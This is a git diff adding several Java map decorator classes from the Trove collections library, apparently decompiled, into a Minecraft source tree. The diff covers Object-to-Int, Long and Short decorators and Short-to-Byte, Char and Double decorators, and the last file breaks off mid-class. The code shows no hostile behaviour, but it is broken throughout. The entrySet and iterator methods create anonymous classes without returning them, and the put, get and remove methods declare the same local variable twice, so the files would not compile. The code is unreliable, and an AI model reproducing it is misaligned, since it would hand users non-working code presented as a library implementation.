+  public Set<Map.Entry<K, Integer>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TObjectIntMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<K, Integer>> iterator()
+      {
+        new Iterator() {
+          private final TObjectIntIterator<K> it = _map.iterator();
+          
+          public Map.Entry<K, Integer> next() {
+            it.advance();
+            final K key = it.key();
+            final Integer v = wrapValue(it.value());
+            new Map.Entry() {
+              private Integer val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public K getKey()
+              {
+                return key;
+              }
+              
+              public Integer getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Integer setValue(Integer value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<K, Integer> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          K key = ((Map.Entry)o).getKey();
+          _map.remove(key);
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<K, Integer>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TObjectIntMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Integer)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    return _map.containsKey(key);
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _map.size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends Integer> map)
+  {
+    Iterator<? extends Map.Entry<? extends K, ? extends Integer>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends K, ? extends Integer> e = (Map.Entry)it.next();
+      put(e.getKey(), (Integer)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapValue(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapValue(Object value)
+  {
+    return ((Integer)value).intValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TObjectIntMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TObjectLongMapDecorator.java b/src/minecraft/gnu/trove/decorator/TObjectLongMapDecorator.java
new file mode 100644
index 0000000..37af1d5
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TObjectLongMapDecorator.java
@@ -0,0 +1,345 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TObjectLongIterator;
+import gnu.trove.map.TObjectLongMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectLongMapDecorator<K>
+  extends AbstractMap<K, Long>
+  implements Map<K, Long>, Externalizable, Cloneable
+{
+  protected TObjectLongMap<K> _map;
+  
+  public TObjectLongMapDecorator() {}
+  
+  public TObjectLongMapDecorator(TObjectLongMap<K> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TObjectLongMap<K> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+
+
+
+
+
+  public Long put(K key, Long value)
+  {
+    if (value == null) return wrapValue(_map.put(key, _map.getNoEntryValue()));
+    return wrapValue(_map.put(key, unwrapValue(value)));
+  }
+  
+
+
+
+
+
+
+  public Long get(Object key)
+  {
+    long v = _map.get(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+
+
+
+  public Long remove(Object key)
+  {
+    long v = _map.remove(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<K, Long>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TObjectLongMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<K, Long>> iterator()
+      {
+        new Iterator() {
+          private final TObjectLongIterator<K> it = _map.iterator();
+          
+          public Map.Entry<K, Long> next() {
+            it.advance();
+            final K key = it.key();
+            final Long v = wrapValue(it.value());
+            new Map.Entry() {
+              private Long val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public K getKey()
+              {
+                return key;
+              }
+              
+              public Long getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Long setValue(Long value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<K, Long> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          K key = ((Map.Entry)o).getKey();
+          _map.remove(key);
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<K, Long>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TObjectLongMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Long)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    return _map.containsKey(key);
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _map.size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends Long> map)
+  {
+    Iterator<? extends Map.Entry<? extends K, ? extends Long>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends K, ? extends Long> e = (Map.Entry)it.next();
+      put(e.getKey(), (Long)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Long wrapValue(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapValue(Object value)
+  {
+    return ((Long)value).longValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TObjectLongMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TObjectShortMapDecorator.java b/src/minecraft/gnu/trove/decorator/TObjectShortMapDecorator.java
new file mode 100644
index 0000000..fda4377
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TObjectShortMapDecorator.java
@@ -0,0 +1,345 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TObjectShortIterator;
+import gnu.trove.map.TObjectShortMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectShortMapDecorator<K>
+  extends AbstractMap<K, Short>
+  implements Map<K, Short>, Externalizable, Cloneable
+{
+  protected TObjectShortMap<K> _map;
+  
+  public TObjectShortMapDecorator() {}
+  
+  public TObjectShortMapDecorator(TObjectShortMap<K> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TObjectShortMap<K> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+
+
+
+
+
+  public Short put(K key, Short value)
+  {
+    if (value == null) return wrapValue(_map.put(key, _map.getNoEntryValue()));
+    return wrapValue(_map.put(key, unwrapValue(value)));
+  }
+  
+
+
+
+
+
+
+  public Short get(Object key)
+  {
+    short v = _map.get(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+
+
+
+  public Short remove(Object key)
+  {
+    short v = _map.remove(key);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<K, Short>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TObjectShortMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<K, Short>> iterator()
+      {
+        new Iterator() {
+          private final TObjectShortIterator<K> it = _map.iterator();
+          
+          public Map.Entry<K, Short> next() {
+            it.advance();
+            final K key = it.key();
+            final Short v = wrapValue(it.value());
+            new Map.Entry() {
+              private Short val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public K getKey()
+              {
+                return key;
+              }
+              
+              public Short getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Short setValue(Short value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<K, Short> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          K key = ((Map.Entry)o).getKey();
+          _map.remove(key);
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<K, Short>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TObjectShortMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Short)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    return _map.containsKey(key);
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _map.size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends Short> map)
+  {
+    Iterator<? extends Map.Entry<? extends K, ? extends Short>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends K, ? extends Short> e = (Map.Entry)it.next();
+      put(e.getKey(), (Short)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Short wrapValue(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapValue(Object value)
+  {
+    return ((Short)value).shortValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TObjectShortMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TShortByteMapDecorator.java b/src/minecraft/gnu/trove/decorator/TShortByteMapDecorator.java
new file mode 100644
index 0000000..fc8d7fe
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TShortByteMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TShortByteIterator;
+import gnu.trove.map.TShortByteMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortByteMapDecorator
+  extends AbstractMap<Short, Byte>
+  implements Map<Short, Byte>, Externalizable, Cloneable
+{
+  protected TShortByteMap _map;
+  
+  public TShortByteMapDecorator() {}
+  
+  public TShortByteMapDecorator(TShortByteMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TShortByteMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Byte put(Short key, Byte value)
+  {
+    short k;
+    
+
+
+    short k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    byte v;
+    byte v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    byte retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Byte get(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Byte remove(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Short, Byte>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TShortByteMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Short, Byte>> iterator()
+      {
+        new Iterator() {
+          private final TShortByteIterator it = _map.iterator();
+          
+          public Map.Entry<Short, Byte> next() {
+            it.advance();
+            final Short key = wrapKey(it.key());
+            final Byte v = wrapValue(it.value());
+            new Map.Entry() {
+              private Byte val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Short getKey()
+              {
+                return key;
+              }
+              
+              public Byte getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Byte setValue(Byte value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Short, Byte> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Short key = (Short)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Short, Byte>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TShortByteMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Byte)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Short)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Short, ? extends Byte> map)
+  {
+    Iterator<? extends Map.Entry<? extends Short, ? extends Byte>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Short, ? extends Byte> e = (Map.Entry)it.next();
+      put((Short)e.getKey(), (Byte)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Short wrapKey(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapKey(Object key)
+  {
+    return ((Short)key).shortValue();
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapValue(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapValue(Object value)
+  {
+    return ((Byte)value).byteValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TShortByteMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TShortCharMapDecorator.java b/src/minecraft/gnu/trove/decorator/TShortCharMapDecorator.java
new file mode 100644
index 0000000..3ac0f99
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TShortCharMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TShortCharIterator;
+import gnu.trove.map.TShortCharMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortCharMapDecorator
+  extends AbstractMap<Short, Character>
+  implements Map<Short, Character>, Externalizable, Cloneable
+{
+  protected TShortCharMap _map;
+  
+  public TShortCharMapDecorator() {}
+  
+  public TShortCharMapDecorator(TShortCharMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TShortCharMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Character put(Short key, Character value)
+  {
+    short k;
+    
+
+
+    short k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    char v;
+    char v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    char retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Character get(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Character remove(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Short, Character>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TShortCharMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Short, Character>> iterator()
+      {
+        new Iterator() {
+          private final TShortCharIterator it = _map.iterator();
+          
+          public Map.Entry<Short, Character> next() {
+            it.advance();
+            final Short key = wrapKey(it.key());
+            final Character v = wrapValue(it.value());
+            new Map.Entry() {
+              private Character val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Short getKey()
+              {
+                return key;
+              }
+              
+              public Character getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Character setValue(Character value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Short, Character> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Short key = (Short)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Short, Character>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TShortCharMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Character)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Short)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Short, ? extends Character> map)
+  {
+    Iterator<? extends Map.Entry<? extends Short, ? extends Character>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Short, ? extends Character> e = (Map.Entry)it.next();
+      put((Short)e.getKey(), (Character)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Short wrapKey(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapKey(Object key)
+  {
+    return ((Short)key).shortValue();
+  }
+  
+
+
+
+
+
+
+  protected Character wrapValue(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapValue(Object value)
+  {
+    return ((Character)value).charValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TShortCharMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TShortDoubleMapDecorator.java b/src/minecraft/gnu/trove/decorator/TShortDoubleMapDecorator.java
new file mode 100644
index 0000000..927573d
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TShortDoubleMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TShortDoubleIterator;
+import gnu.trove.map.TShortDoubleMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortDoubleMapDecorator
+  extends AbstractMap<Short, Double>
+  implements Map<Short, Double>, Externalizable, Cloneable
+{
+  protected TShortDoubleMap _map;
+  
+  public TShortDoubleMapDecorator() {}
+  
+  public TShortDoubleMapDecorator(TShortDoubleMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TShortDoubleMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Double put(Short key, Double value)
+  {
+    short k;
+    
+
+
+    short k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    double v;
+    double v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    double retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Double get(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Double remove(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Short, Double>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TShortDoubleMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Short, Double>> iterator()
+      {
+        new Iterator() {
+          private final TShortDoubleIterator it = _map.iterator();
+          
+          public Map.Entry<Short, Double> next() {
+            it.advance();
+            final Short key = wrapKey(it.key());
+            final Double v = wrapValue(it.value());
+            new Map.Entry() {
+              private Double val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Short getKey()
+              {
+                return key;
+              }
+              
+              public Double getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Double setValue(Double value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Short, Double> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Short key = (Short)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
